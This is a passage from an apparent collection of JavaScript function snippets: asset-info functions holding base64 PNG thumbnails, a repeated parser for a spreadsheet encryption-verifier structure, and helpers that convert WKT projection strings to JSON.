QhMsUTqQHQo17Zd4xEmuzfhUNO\\/pswAWjvFFuDhh4EgDUOYSd\\nQ4H0lEwHGuDgLZmPuA9OAFymitN5pYYCjA0AolcqPYZFWbX0CCEBYALE\\/0h5whq4B3DTve5kf\\/hA\\ndR4ZCSzqMsJiQJg54xGSYkwtAyg9RLmxylOsi2sYvWYvuRM24P5pnP7kAJKJTfHFJx8Cns6G6T8k\\nrgOSrU5fk2kBWRk7d3hrWdlc8NcATsoIh0x6gEVBjaOXmAIMN64zP00hltFBxY51OaO2NY69UjZ6\\ntC32UYZPF2dCYmOGnmvocIT+POxVkXDd1sPBn7kTPsBxHJeVJgUY+YW\\/cVNKDj2FB8CDUBtl6GU7\\n45oYUvOKsdQ4PYkBI9sZgAChVyPTgDmGtahz8oGlA2zJiBw0Ta1K7xLYXA+XlBt5bmpvuA4ZeXWn\\nKWl7vEd4rTwoK5GGTQDKps9CYThZNHql2tY4K0CWu6naWMXSiywmwrBt6WuwA0Hj4lcaYgXByRDr\\nT21l9CpyD6D4pHjjk5UsB1lbGrdFr00yxCa9kk2foxHHJYCyGGQO838B9\\/Vei+LvMds6MNKszvrT\\n7BT6tMJigXxgU3gM56xa0xscK\\/\\/LSEs6r8bZgswsggSWE630hpzX4BVOMhRiWamMwtJAc7roFx95\\nPL3eEJUvLyYpYQGYJhQ5yL685UmVFI5HJl+SDJPeyhA25ByrWFYr8xJReHbDkyy4Ugt5W1udaU9Z\\n\\/XxhGu\\/5sg64x5fdi2WD4\\/FmoMlnepk2yQ2vQ0agcRX7+Wy61xWV\\/VgXXxSO1LiJHld3xX+ARL8k\\nDNsaTI7qRWtcscf7wWPG0OY0zu5rYbmOd4NHa\\/ACTcNwiWIoucYVJeLCSxiR7ncd6St7pYrjL5Wq\\nhwQPptcYAAAAAElFTkSuQmCC\",\n\t};\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-33,\"y\":-105,\"w\":67,\"h\":106},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAFHklEQVR42s2Y6U4bVxTHUdVvURqp\\nSiSafqiqRiKBEEPA2CxewXgdb9jYBoyN8YJZbGM2kxgNW9gCuAkkTWjTFEWt1EotjzAf+gBVn4BH\\nqPoEp+dcM8ZAP1SdKJqR\\/vL42p753XPO\\/9w7rql5T0fM2cbHPWohZG0+7etuiNTI7cgP6WEy0AUJ\\nbzs4NPfgg9z0172Y4t36oPDtkl\\/47kzi+Rs+yPR2OSj8sBISVtMW2JiywZNJG8xHDPDjkyG+Wscr\\nocjRkl8naiVh0iU87TpJgO9WA4rv+QAgFBwuuOHZjBOezZJc8HzuXF\\/jOOn5nJvpcN5T0cuCF149\\n9gFOBo5XB\\/HcD2s4mcURI6T9nZDytCkkQRKQCHAO8i+AeQ5K0xybgDi+m7VDKV8eu3yNffxuzNUm\\nHfA1zrg6IqRsvxK2pyww5WuBQrizAnQw74bdnA2\\/40YAB+Twe4+imisTIr3GqCaxXiWl+Zet5I3j\\n1QE4KlKKPezCTzM2GLXfh7VUDyS4RuDjBpgOtkFhuIuBF0e0sIjnNE6RW4x0wZhLAblA24XofbPY\\nB3G3CsKc8v8D\\/raf0FEExQtTunazNlg+u\\/k03pRgKJrlz+yVCNGYmGaK5uaEuVIKYgQpxZLSe1KK\\n85S26tqj9Ik1RTcmgHLdlQ1CBhIns5dzsPODszql34s1WppxQdjeIg3w5+0o\\/+qRF14seBgYaTlh\\nYNHZmrSwaJLo\\/fqYCSE4Br2SNMJOxspgSfvMPFijbBLlSRJgyNIsDfCnrfAJwYkRpEgUYzrYQaD5\\noQ7I+luxJq2wMW6ChKMRx60Iboa0pwnVDOtpE6vXvZwdW1U\\/q+Ut7JVraTMU4z0QNDcJkgCpCVc7\\nj9KTQSiKGplhzK1goOTk5YSxYoDHUW1lUjtoqur2ImZiJWWmGvxDEuAbPnByWFWDosQ6ovo8qGrM\\nYgrFNIoSa7OUP7\\/G3rRTuknWxix8cbQHClEDLOHrdsbOUkSrCplDdC2lsGwcrvK+4tozUalUlwvV\\n4LBUk2AE\\/6o2CEWIlq4XBQ\\/kgypIOh\\/AAqZ3wtuMfU+P9dbAWs\\/sgBpitgbsgRqWYko7uZpqmM63\\nMg7IhjQQcbSeSAKkZnp5iRNbzMZ4LzMEiYxCE1hCA1EDp3SSy88btutsDXeysqAJLsXRWLg9kwR4\\nVPRdWXMpEpdr8tzl7ivLIknMgth26Fp8shdGOKU0wNIMJzzN2k83J62ArxeB8uWeVy2qvfLKwV3Z\\nGIgOpijSJBdHuqW3mf9yJP0tN0bdqqzfpIC+7kbwoUKWptNCVM+Xcg5+c8LydjllEi4oYRISHpUQ\\nMDdlP8jGlnYkg9aHEMSVwdpZB93KO0KNnI6pkEaX6muHIVsLYFTkBzgXNugm8Hkk1dcBg7aH8gOc\\nHTbyBDjm62AbgG6VDAEJjtJMEbR13eVlBZgZ0PJTQQ0+cqoZoFNbLy\\/ApFfNz4T17BlDtoAZXFtl\\nDRj3qBkgbaFkCRjllDBKT2mOVnDIzST0xxEB4u4Eok4lcJq7OlkBYovhqUnHXCrw9TyQH2B+SM8A\\nIxhFh\\/YeGJR35AVIjXq8v5MBug335QeIETwhBxNgoLdJfoCTgS6BljlaSWjLJTvAtK9TwAcgoF4o\\nywjG3Woh0Ktge0GvsVF2gNciXOvvXtzq07af\\/p\\/uUHzZi+MfyYIuEjB+FeaUJaeu\\/m+XvgEsHXV\\/\\nfn7zEzt+9BnqulyieL229tP627dv1t26da0W33+B+vh9XPgf2S5IV+VUsSUAAAAASUVORK5CYII=\\n\",\n\t};\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-20,\"y\":-38,\"w\":41,\"h\":40},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAKAElEQVR42s2YZ1CU2xnH\\/ZzJBOxK\\n9FJERU1GDRYEZAFXEIFFQNousLC7LL0vvSwdRAFpAiKsIAgiRVFAmquCgli4Xtu1hZQPmWRuQibt\\nQ5KZf55zFOZ6Jx\\/EcvWdeQaWYd\\/ze\\/\\/nKf\\/zLlr0BV2auhD1iYqgnkVf6lVRqigrzJNMf7GAVwfz\\ntapY0cxnhXj1qk7nxZNGAYv7k+UuowNZ6sHLmWXXhvJm8rPFUCqE6s8G9+uHDVuvDRdqOtsTUZAj\\nQWmxDEV5EtRWKREfK5qNiXL6vHCTY8dm05Pdka321oqcdqgd9m8XCIWmOl9EfnW2p\\/QU5Ijh57NX\\n8FkARgarpKNDFRqK2dGhSvT2FKO9JZvH2Wb17Mlq5WxqouuPW6HDw3U6o8OVagalHanBxM1W3J3q\\nwtf3L83H0EA9okNECJILkZbsNXP1SsXWTw525cqZrQ11GWVD\\/WWz17X1mJo4hz9\\/9zv8\\/W\\/f8Xjx\\n\\/BaH679URwoW40JXJaIj3eF8YCeOFkhnOzqUny7v\\/vLqro52tGNaFe3EFbt\\/9yL+9MdXmLv+9c+\\/\\n4psHAxgd1KD0SNy8kn2XqpCRKoWPhw1qK+XaTwL3+5n7gpcvpmZvjl1Ew8kcTE1ewONHI\\/jvf\\/7N\\n4Rgog7s90QnPQ1YYHW6aB7w1fgYtTWpSMx+pic5IT7A+8FHhfjszHf2bmWk8engD9TVhKC+2Qmr8\\nBiTHW9HnxLfy7kJnBU6fyv3B3\\/IRErAeZxpj4WxngPRkq\\/aPBvf820kNg5uLgmwHRAUb4bCLHmyt\\nliHQbzcaasNQUxWOmkoVRoc0b8GxaG1KgIfTT9HbrUZNhRgpKgE+ChwBaSYnevH0yQ1MTrXgynAh\\nQhVGiAgyRDhFZuJG5KVvgsJfHx6H9CAVb8Fg\\/8m34O7d6aGCKca51hQO2HYmgibIQbg6rxF86Laq\\nmWKTt7pp0Vo0NIUiLc8MvjITxEcYcxWl4rU8fA7\\/HKKDq+BycB2p+PaW37zRBNYbWdRVBSA33RaV\\npW7wdDWQvjfc00fjUgb34tkE9bYLGBmsxxVSRilfh6BAQ+SkmsDP+zWcxHMNV2+fYBkszZYgQGL+\\npjDaoB1twNXh6nnA823xXMGyYmccFC55v9l7ueeE6chQ2z\\/mcu7B9ABVbBdVZSviowUIkxtCIdUn\\nBfRwyHEV7GyX81x02K\\/PAWV+lmhvLUJzQxIUvkbzcCwY3MnqAMRF7Hp\\/wJHBJi1rJV9PX8X3IZma\\nA32NXDGmHgMUWCyFt8c2RIbZIz3FC7lZUrQ2H8GxI1GQ+26H1Et\\/Hu5idy7ys0QIlW+lhzSC2ENP\\ns2C4np6KdT1dVRxq8EoLvl+9cxEZasEVY2rZ7F2Jxvo0jF9vQUtjEBVCHF69vEu9sA9XR9pRVR6P\\n4gIZqsvDERthS2BbSD1jyKmoZAFGyC7a4bIgwJws\\/\\/yL3dV4\\/mwSfb1VuHGt4y04Gm9IjF4Pme9X\\nsLZcChfHjTQlaun\\/ziAufB1UkcaoPaHigLdu9uLmWBf6L9dTC0pAhFIAudSUpwSrei8fI6gydkIe\\nvkn\\/neASoo21bs6rUVmuokUbcGvsLAYHGnH3ziCHa2rJgKenAQoyNyM1bgMc7Vdi756lON2QwacG\\ng5P76eOAcAWmbvdyyJqqNJxuzEP3+QqMDDWj+XQuIkMoJagD7LdZNmturqv\\/zurRzbXuotWQSnZB\\ncyoNneeKMTHeTtXYg+vXunDmtJoDsKcPDjTAIadVfJtzs\\/yoyhvh5WbIWw3Ly57OEjz6ZhT37w3h\\nLBmGkzXpKC+LR3qqN1W+Ib+P5e7FCzvBqWIs1SIHPTjYGaK4UEZJXcpVfPbtOC00jNKjwbydMAim\\n0lxbKcqXkWnoR1fHMcREHkRSvCtPD1b5bIuZcizOthSitloFpcycCmQNhNbLFlbF1KM0qigLqGId\\ncbxEjooSH0ruMJoiY3yLWV4eK45GsMKOpsAvaCEbpCR60sL5fNKMkIMZv9HJVXv4YIgUHMGdqT4O\\nd\\/5cKTQNarpvJFW8kFqSHnvIhQF2dSRrT9UEksHcTkZgM1eL9bmaqjgOMFcoA\\/3N6Giv5BAsBW7f\\nOs+VZvH08RjPPRbsdwbHioTBscjJCkAAzW472xXwkazTvnOBzAG2NAcjMWUnlAEGENP4Yu0kPsaZ\\n5mkfXr64PQ\\/55JH2LbDvx\\/S9Ply6UI3K4zFkyzIo\\/5JRTSaCwfn67ITdvrWwojy1t9ObViqNdBa0\\nxY31CgQFb0OozICPMRfKN2vL5Sg7Gk4L988DsqY9fr2V59oPAa+Nasj3laCtJYfyNoS2dD9ClUIo\\nAq3hKtoEa+qdVCCzlrt0F2b\\/OzuSoitKDsPX4\\/VsZZOCTQzWt1gxFOYp8eTx2LyCDEY7oqEDUjlN\\nilP0s4xDsWhtzkJBrj+OFslQXhqK6opYqOLcKH9tIfEynV29etFPFjxF+rrS9EsKaRQFGsPLfT2H\\n2m+znLcNm72rSAU7jI91k3kYICd9ncONDJ4kK1VFvTCdtjQKTY3pFGmIokJIiNpA1swEhbliZKaJ\\nkZTgQYcnW4icNr\\/\\/Ab2jLVbLICtKJXATGRPgagJcgUD\\/PVSx3vMto7OjhFv4OcXmoig\\/EKp4B5o0\\nG+HrtYYOSivhLzHjcExBD\\/df\\/UEoNHr\\/Q1Nvd4agvYWUaFBy55GeZA9\\/n62Ii3agY6MHsjMDcLm3\\njhcBA2SKMTDNqRRSMBxZWe6QhWxBcsx6PllcaTL5S\\/YgLMQePp47IXLcIv1gF338qFtZVLAJTtUG\\noLkxhEMqA3dRE7anrfIiT2jNlSo7puRRlC+lxv7687EjMlJ7A3nCr3gnYCki9bOAv68FmQPrD3tz\\nVZRkpFOYuVlNdn7Wy02PrJE9nWtVCCcHInZbi0DJdsgDzBEXuYeS3QTJWbugUJryF0HpKe7U4J34\\n2FNIN3A4tr0H9i2HTGoJX\\/EOODubfJjFp2qdcaKbslHGjIAf5RDLo7QkJ5woVyBSuRMJMfv4WSRM\\nYQh\\/sT6EpJD7oV9SCoiQqHKH2Gsb\\/46r02rueJJj1yOEDK6HhwEWZAz+38X60t49ugIWVMFqgcWS\\nGVbBYco96GhLI0eSRZFNh+9N8\\/PYZu9y+JHFDwnaz4tA4m3G1ctKNqEqNuYPKfVZyyeSve3yafqe\\n2t9rrcuij3kdtNXVT4631tRUKjloZZkcgb6m1Mi3U25aUL7thp\\/PbmrCW8jRGPACYeoxOGYo2DRi\\nfdX3zWcr8yVY0AR510soXKyTmeTsEhthrfX33gIWvp6bcFi0HqIDBhA5rKKKX8vTg0Gwkx7LQ9ZP\\nmbllwX5nwXbpk75AYqoe2Kcrtbb8mdrGUmeCbTlTx9FuBYdyoS1lk2jOkvEg\\/8dSx8JMV2pquvjH\\ne3HJFmOLWpgt0fAZ+wbIwmzxjKXZYi2DMt+t+1559z9MJ6ka8AWMwQAAAABJRU5ErkJggg==\",\n\t};\n}", "function parse_EncryptionVerifier(blob, length) {\n\tvar o = {};\n\tblob.l += 4; // SaltSize must be 0x10\n\to.Salt = blob.slice(blob.l, blob.l+16); blob.l += 16;\n\to.Verifier = blob.slice(blob.l, blob.l+16); blob.l += 16;\n\tvar sz = blob.read_shift(4);\n\to.VerifierHash = blob.slice(blob.l, blob.l + sz); blob.l += sz;\n\treturn o;\n}", "function parse_EncryptionVerifier(blob, length) {\n\tvar o = {};\n\tblob.l += 4; // SaltSize must be 0x10\n\to.Salt = blob.slice(blob.l, blob.l+16); blob.l += 16;\n\to.Verifier = blob.slice(blob.l, blob.l+16); blob.l += 16;\n\tvar sz = blob.read_shift(4);\n\to.VerifierHash = blob.slice(blob.l, blob.l + sz); blob.l += sz;\n\treturn o;\n}", "function parse_EncryptionVerifier(blob, length) {\n\tvar o = {};\n\tblob.l += 4; // SaltSize must be 0x10\n\to.Salt = blob.slice(blob.l, blob.l+16); blob.l += 16;\n\to.Verifier = blob.slice(blob.l, blob.l+16); blob.l += 16;\n\tvar sz = blob.read_shift(4);\n\to.VerifierHash = blob.slice(blob.l, blob.l + sz); blob.l += sz;\n\treturn o;\n}", "function parse_EncryptionVerifier(blob, length) {\n\tvar o = {};\n\tblob.l += 4; // SaltSize must be 0x10\n\to.Salt = blob.slice(blob.l, blob.l+16); blob.l += 16;\n\to.Verifier = blob.slice(blob.l, blob.l+16); blob.l += 16;\n\tvar sz = blob.read_shift(4);\n\to.VerifierHash = blob.slice(blob.l, blob.l + sz); blob.l += sz;\n\treturn o;\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-37,\"y\":-50,\"w\":74,\"h\":51},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAIb0lEQVR42u2XaVNbRxaG+Qf+Cf4J\\n82Xm22SYqkwcO17EJjZhy0sCBgH2xDYmYCOwzb7vO0KA2EGsAoFB7KuQjG2CbRaxmAHihRovU0ml\\npt45p4WEIK5UPmSomhpu1Vv3qm\\/3OU+\\/fbolOTkdXUfX0fV\\/dgE4TnImKd+\\/\\/1H17sOPhg+sjz8Z\\nPpLobn7\\/4SfLx3+Jz9qff\\/63kvpKeNx\\/E0ry+s077eb2jnl5ZRsvljYx92wD8wub9LyNRcsrLK++\\nhmXtDVbX32L15Y64r5C4fW3jLTY2d\\/DD63eWnX9+VB6EPXPO75qLx0WDu\\/SKge+nz8nSfyuYs2Vl\\nSzszu4hJ0wKMj5ZgemLB7Nwqnsyv4\\/vnG3i2C7mw\\/AOWVl6RXguoheVXApzbny9ticnMUX8et7C8\\nhbX1VyrT4zmJxE2uDfn7PcQllSItU4Pcgnrk5tfiwqVQ+a+BHVtb39aOG59heOJ7jE49w8TMC0yZ\\nFzEzu4xpM8lkETKa10jrMM1u4NGTTcw+3SJti7v58SZmHm2Q1qnPKvVZIVlgemzB8PhTePoG4HpY\\nEuJSKpCRW4+isnZUVPegtsGAUnWn8pNwtIzyceP8Tt\\/QIxhGHmOIAg1PzGFgZA6G4Tn0DfIzgY8t\\nYHRiCePTFkzNrBLsOoG8hImAGJbBjOaX9G4NE9MrGJtcxsj4IgZHn8MwNI\\/apn7ciEhHeHQe7iWW\\nITmzGjmFzShWtaOsoguqyq5fAo5Pzyt7BkzQ98+gd9CMhyRd7ww69EZ09Zqh75vFw4GnIsHgyHNy\\ngSAnCXLKgknjigBlIKtWRRtPgPtwXxtc38Acevofo73LCHVNL+LSKhGbokZqVg2y8huRW9TMsPuX\\neHPrjaq9ewKdvVPoejiNVt04mtrH0NI5SYGm0ak3ofvhIxGYE9ghycmRiUUBMTa1TLBW8TO3sWtD\\nYy9EX0c4jtWpn0EbxW7pmECxuhM5BJaYXoXkDI1hH5xlbUvSrh9Ha9c4AY2htnkQdc1DaGwdhbad\\n2gmyo9so1K6bQmvHpLi3UXsbPXfQs657Gl2UsKtnRtx13J+Sc58WitFMsRq1w6hrHEAD3eubh8XE\\n2YDmtjE0tIyIvE3tw5aEhMJj+wB1vZMWeoGaJgMqax9C09BPNTKIGgqmqe9HBS0D1QTKq7pRSUWs\\nqesThVxPfRq1Q2im4C1to2glx23S0mdub6SJ1lOcGoqjodi8CThOqVon6q2EnFNTG+etbjSgimL3\\nD5mc7XC1zf2SupYBqGv1UNFAdU0PDdIhv7SVakGLgpJWFFEg2lUCskKjRxUHc4QkiCZyhYFYTS3D\\nAryBV8IBrpImqq7S0ybQoaS8A4VlbcgvaRGbg2svM68BBaVtqG3s31tiTUOfqqxKJzpzDaTl1CGd\\ntjwP4IEcgN9xQA7Ms2cXHCEZor5pQMDaxG38zg5HYxiOJ1lS3imOFJ48m5Bd0CSOmbTsWrGbc4u1\\nsAMWqzvMGUSelKFBIimFdhJD8mx4YB51Lijdc5GPADskOaLZBWUQR3Ebv+M+tmXlsRyDY3FMjs05\\nOBfnFGchvauq7kWlRm8oLOuQO6Xl1uFBUrk4LBN4B9EMUmkmGY4uFpOLZP0epNVJNS03J+elYxB2\\ntWoXqnIXjPuwa9Zl3Q+XU0jOEVwWQXK7iEXi\\/rxqnN9J8W0swpXZiI4vQTydR0kOLmbsusjnkiMk\\nLzcXOQeybR5ePoZh8WeWDYwnVayy1hwvqw0umL7i7t7PE4bYzLDVI7cpYwvh5OWnsATfiMXtu5mI\\niM6hxiLEJpcjhZxMd1hqHphHkJyAExXbQTsFLIPYxJ+5nR1jMFFv5FpOASXO0iA+RYV78YW4djMW\\nVwLCcFURgVsRyYhQZiAiKgNhkakI\\/fY+ZBfo+9hDFpjueT4YoTfjEB6VRZDZuHMvF1E0s5g4gk0q\\no8OzghzlZa8TRc0bR4Cyo5ScXRUqY3eahbLzaenyaMNlVyOZxscnl9IPghI8SCwmuCJExxVA+SCf\\nHMzFLQK65B8Gb78gnHOV4\\/RZmcq+Sdx8Fcc9ZEE7nvQyIOQuvlNmITImxwr5IA\\/RsQVitvcTCDax\\nBHGUKD6lFAmpBJ6qQlJaOZJZ6XvitqQ0lXifkFImxsQyXEKxiOUIFx6VicsBt0ErCRfpFfztSw98\\nfsJ9Z99B7S4LlEtlQWBI+dc3cTMyTUBygCgKxJAxu5DsACcToCQG+JSEYzYwGsNjOQbHitqFU1AN\\n+spDBJyb9zf44qRUAH55ysvyix8KDMmALK\\/zCvgH30HYnbRdSKuTMXGFdjcFqA32gLiN39nAeEwM\\nuxabTxPPpnKKhd+l6\\/CmPAfhTp72hov7xWuf\\/Kkl9Ql09pQFWmyQHODy1dsiYCTVptLm5i4o1xID\\nHBS3W6F2l5PAbtNk\\/RWRkF0MsYIJuCD40P3EKU8Bx5AubhfNv\\/orWir1P0aASgHpZ4Vk+VxQ0PLf\\ngOJ6DEJvPKDNlClgGSDGQZExWWIX3opMoWMkBgHBDBUqxttiMZyUNifnkvp84+xzPtDZh8xxc7vy\\n2\\/+38OahulR5+il2bG7aQH0uBNvle0A++7Q3zrqcQRapTJHOsX\\/XP02eXJ8EywkcE3ofAD\\/Y5uHt\\nD3eSi8clggv4w6H99aSvQUNQaJSoH4nHRZx18bPLTXpJSOLqB1d3OaTeXwtnD\\/W\\/cbt+VslnWjQV\\n\\/+Wr4eAjih1jEBkdG2clMnx11hvuXlfwmfNJfHXO13KogIOTL+Wqqh5x8PJZ5u4biL9+fhZ\\/\\/NNn\\nkJBrfGewE6c88Oe\\/nMQZV7nhUAFHTf84PjSxpiou19kBvzhF59hJd+HmGZcLOxL3y1qpb8A1V69D\\nrL2Dl9H49ljIrThnVzoibPrdd+jRdXQdXf\\/j138AyAoQ627D+fUAAAAASUVORK5CYII=\",\n\t};\n}", "function wkt_unpack(str) {\n var obj;\n // Convert WKT escaped quotes to JSON escaped quotes\n // str = str.replace(/\"\"/g, '\\\\\"'); // BUGGY\n str = convert_wkt_quotes(str);\n\n // Convert WKT entities to JSON arrays\n str = str.replace(/([A-Z0-9]+)\\[/g, '[\"$1\",');\n\n // Enclose axis keywords in quotes to create valid JSON strings\n str = str.replace(/, *([a-zA-Z]+) *(?=[,\\]])/g, ',\"$1\"');\n\n // str = str.replace(/[^\\]]*$/, ''); // esri .prj string may have extra stuff appended\n\n // WKT may have a \"VERTCS\" section after \"PROJCS\" section; enclosing contents\n // in brackets to create valid JSON array.\n str = '[' + str + ']';\n\n try {\n obj = JSON.parse(str);\n } catch(e) {\n wkt_error('unparsable WKT format');\n }\n return obj;\n}", "function parsePrj(str) {\n return getCRS(translatePrj(str));\n }", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-23,\"y\":-196,\"w\":50,\"h\":181},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAACMElEQVR42u3V3WuSURwH8F1035+w\\nyyIKgjYsYnNzz1btoi2SmKnZy1bm2zQHOfDtQbfZUkYxiGVr5muk4YThcGqPw5KZe3GzCQajQX\\/I\\nt8eLoMvAi+dXeOB3cc7F4cP5Hb6\\/jo7\\/fUVf3hP\\/WT7b9QWrVrL3e\\/9h6eFJwXDhxQedPvYOSoWP\\niL114\\/3KLJJRHyLLMwi8ciAenEPEb4XNwEAQ4Ot5pXg15kXjsIxGfQufN1Oo176gflACl0ugspVB\\nLOCBeaJHGCBruiaOBz0oFdeQSi6jVt3koWXs7xZQLqWx8zWLwBIL4\\/3LQgGvjBQyYXznX2+3ksPe\\ndg5HjQoOD4r4tl9EfiOOkN8l3Au+cEod\\/kU7dsqf+HZuIJnwI5OOYH0tBC6fwPFRFeE3s5iQdQsD\\n9FpHJ6e1Ejgtd5FefYf1VBBZHphNR1HdzuPncQ3x0DxseokwQLdZ0smaBsXNcj0ZcjSLNTKc5VEv\\nLBrJimm8h9MqL3FquYgjk4t2XZ9DJxeopX8L1Mq76AJdxgHOqCLU0n8SqBo5SxuopA58LLtAGzip\\n7KYN1CvawNaA6jHCf9Cm6+NUo+foAqfVYo4fdW1ga0AZYaBT388HNWGg20R8kjybYmjHzJyZ4W4O\\nnqId1KSBzaC+wRAGsoZ+jEvPO8gCZ0wDsGt628CWgJrbXbSBY8Nn6AI9UwxtoPfpEG5dJQ88TRso\\npQh8bhsW2Q3MgsfMQKMQ\\/dAoLsr54xOt3vsLfZxWA1xJ+sAAAAAASUVORK5CYII=\",\n\t};\n}", "function getAssetInfo(){\n\treturn {\n\t\t'position': {\"x\":-35,\"y\":-23,\"w\":67,\"h\":22},\n\t\t'thumb': \"iVBORw0KGgoAAAANSUhEUgAAACgAAAAoCAYAAACM\\/rhtAAAKnUlEQVR42u2Y+VIaWBbG+w36DaYn\\nMensMTH7oqTVJC5RQRQQUNwgroCsKsoiqyACgrihKIhL1Jholt5Nz9T8N1U+go\\/gI3xz7u22e3o6\\n6W2WrqnKrTolRIQf3\\/nOcvPBB+\\/P+\\/P+\\/LHn719oPvzLjlrwz\\/GHwTxJ1etsuhsHHnPhHnv+t5dt\\nH336pBlT\\/goMau\\/C3idAwleJ+XD14ev15giD\\/58C9ndddVg6ruIIkAEsTQgx6a\\/EiKUYq9P18PYX\\nY9RWiglPGTbnZfx1i7GavaWEcC+bEO1tzEsc\\/zXAge5rEa+1EHHPw4NvXmhUGynZQcT1EMP6O5gO\\nVCJKjwO2+5jwVu4nvBX7k95yzAarBJP+8oNkoByBwXuIe8uwMSet+c9463l7zZsdTYTi4JtdDb58\\n2oYXuUZsLTQgExMh6augdNbQh5ZjbqyKQy7GRchOignsEdJRIdZnJViZrjsMO0r3QkPF8FjoC7of\\n\\/H4V\\/7r7OP\\/NjjrNgFh8vtnCU+gfLIal6yaPnpYCtMrO\\/yjMnTfgNgs4UHpCBLXiAibcD7GTVfL3\\nebWm2nObCzGsuwVt80XdbwZjhn+zq9lmb7a9KEdwqATdqnzUVxyD9NExSChkVSchqz4DSRVF9VlI\\nv4umugsQlh1DzUN6Hb3GT0otEiRTdCpYibDrPsac9w9dpjv785Fqx+vVJsdvKqBvdtW6r5+1H67P\\nSJAMVEDffglK4XEoRR9DUXsRMtE1yOsEUNQL0K2uRFvTA2g7qtDUUAxx9W10tpbzUKtKIRcXEGwe\\nWqTnEBuh17UVIOZ+wG3R0ZSP3vYCGDuvY3lSfMBE+UWffbXdlmZ\\/vBgToqvpAppEeWgUX0Crooig\\nCiGvL0RfVzUc\\/U2IBvow5jViIjTAY9xnRHysH26bGla9GDqCHjDUQaMq5pBq5UVMj1ZQVOLlShN6\\nWwugbS\\/YnwpWUEHdZ17d\\/iWv7fN0Dn6CVgmpJTwNdaMApp4a2C1SRHxqrC6EkEvF8fnzTXz9chvP\\n1jJ4kklRzGM5NYWnuUXsvdpGIuyDc7AHFp0EXe0VkAhvoIYgh6jCnca7mKFU69VXsDEv3WfF4qVi\\nyU7W4ufgDp9nFAg7StBSfxItsquQidmbiZAYacbWcoSgNvD66Tq2COLL3S0er7fXsbY4h\\/WlOXxK\\nj18\\/XcOb188JcBQ+5xA89gFKvwQtihLKwC3uywABsaLRtV9B2F6CUWo3k74yboG3ppUp93xJAZ9V\\ngHbpKfLFPfRqyjDhU2FcW4fNmQgH+3T7CXa21hBemMf21ipX8YudTWwuL3AFd54sU+S4stFRDzKz\\nkxh1O2DvNxGkDI3STyCsOAsfdYChvjvobLoEVsk+axGYirmk+KeAR5WaCldB03AGjZKb0OuFcPra\\nsJGJYcFlwrRZjZWoD68IbndzFetrOaxSfPbsCeLpFHYJans1g5cEzVR9sbkCv2sYX73Y5mr7HDYE\\n3cMYsanQ3V6KwHAJFUUtNORJo+YqelQX4Oy7jShV9o+rlbr\\/l09buWGHdDfRILoEq0EE84ga8dk4\\nnlAs+m3YzqbwYiNHsYKXBMiCwbJ0ssdMWQb72bMNbgP2u7DPxWHZ7zz2QQ67sx5Bf18tBzR1XEPV\\nw+Oor8pLdyjPOpz6246Yq\\/THE4VNhJ1lJbwkcVMdlbzmAaLBTgQSMQzGotQOBrCeSmKT\\/LWaW6IP\\nWOZqba1lsZLLYHUlywtkPRHisEc2eEkKrqbnOGxY34bgiJ3DvtpMIZ3UYYO6hK79KsGdhEZx7tCu\\nvxXxmQsFoeHi9Pdwu2vK\\/O0lObI0ili5N0nvwm+XIzcfJ8On4InHkIoGkOzvhmssANtEDJnMAlVt\\nFuG5GUwupDCenMCs04hcxPsTZY9gF0NO\\/sUYLPPsZsaE1Dj1zLozUIpPo678TzzFLsNtRJz3f\\/Dg\\nF1utDlqDWN6p3AUU9zE1bkd2JoG54AjBmpFJRpCcSSJBsZFdwExqBtmleQSnk\\/AmJ+H1u5BwmuCO\\nhOAPepGdS3LPMdBNej1rOSvjI9\\/DMrXTk+00bT5GT3M+miVnICr\\/s6BDcTbt1N\\/ai7nu\\/zDydnON\\n6QRtEh7zPWgJztBcjKhnGAm7EbMBB5xuO0apVdjHx5Cdn4E7FoGTgim7sDAL32ScFIxjLDqGUIC+\\nkMOCVYJPT01wsBz1RNZ+GCzzL8vKVtYNu+EuTI+vwKi+jAbhqYN3Nub12fr9mOsBHMZSmLoeYsSq\\noUkwglFzN\\/WjQcSc\\/QiMh+AOh\\/iH2emng2AdkTD\\/YB+B9o+Pw8W8SorG56aRnYqSRWa4\\/zaX0xyW\\ntRoWK\\/NBPM+qYGi\\/DEvHFXQoz1PLyUu\\/c6Qt0uoTcZTSNlLEp4XfYYXT0I0BiwE6ow4jZi2mJsbh\\nDI0iQ2mfjEdgtRpgHzBhaZqqe26KPnQaU5EgFuk564MxQxvBzVKqp+jfyCqJKFKTMXoewNfPO7AQ\\nrYZJU8AVZAUienAs\\/62AuWmxLkPFwVI83FcEZX0RbJY++J02GE19qG9rRY\\/VggGfh2atC2GKoL4V\\nPm0rBlqkiId8HHqKvBcL+THjd2CZlJtJRJBboJ+xMR5+miQ2UxuWp6VQy89DQzHQdQ2ymlMQlue9\\nfe4GrKUfBm33Dtk2G3GWYox6kkpSRBuJAr0d7Whva4FIVg+VXgf9gBW1dWJIpGJUlZWgUdUIuVyK\\nLlUDLQpuDFMz1vRbYXWPoD8YQD+pPT+bpB44guT4KJLhXr779T2+Bm3LRQz23KDCOMvgDupLj799\\nvYrYSx1D2huHpo6Cg7i7jM9Ce18JmuWP0FAnonlZi0fCGmjaW2GwGKEz98E+aEZvoxjCezchLCmE\\n9KEAar0WnVYzTQcLYjTW0klKJXmNqavtaMGznBFLiVqEXGzFuoxh7U2+cpHvDt+Z2qNj6779UcD6\\nSQ0DZAPaayki\\/xXhcXMlpGIhZHVCDmvofowh8mTTYzVU2l7ISFmZpA5l1ZUwdmlofDkIRo0AKWnS\\ndsFm1mMqbMBaSsl3PZWYtZOLcBnvQFV\\/9tfBHR3Wuafo4kIXGP4GTsMdGtx3EfWK0KashKS2hsN2\\na1rQ09NJH94HuUQMhbQOSgppoxwWfQ9alA2kvpRGmBLr8614lpGT387ypUPXms9XernoNE\\/rr4Zj\\nZyZQ+qHHXHRoVBeAKcnghigNDv0tLFEBzUYUsN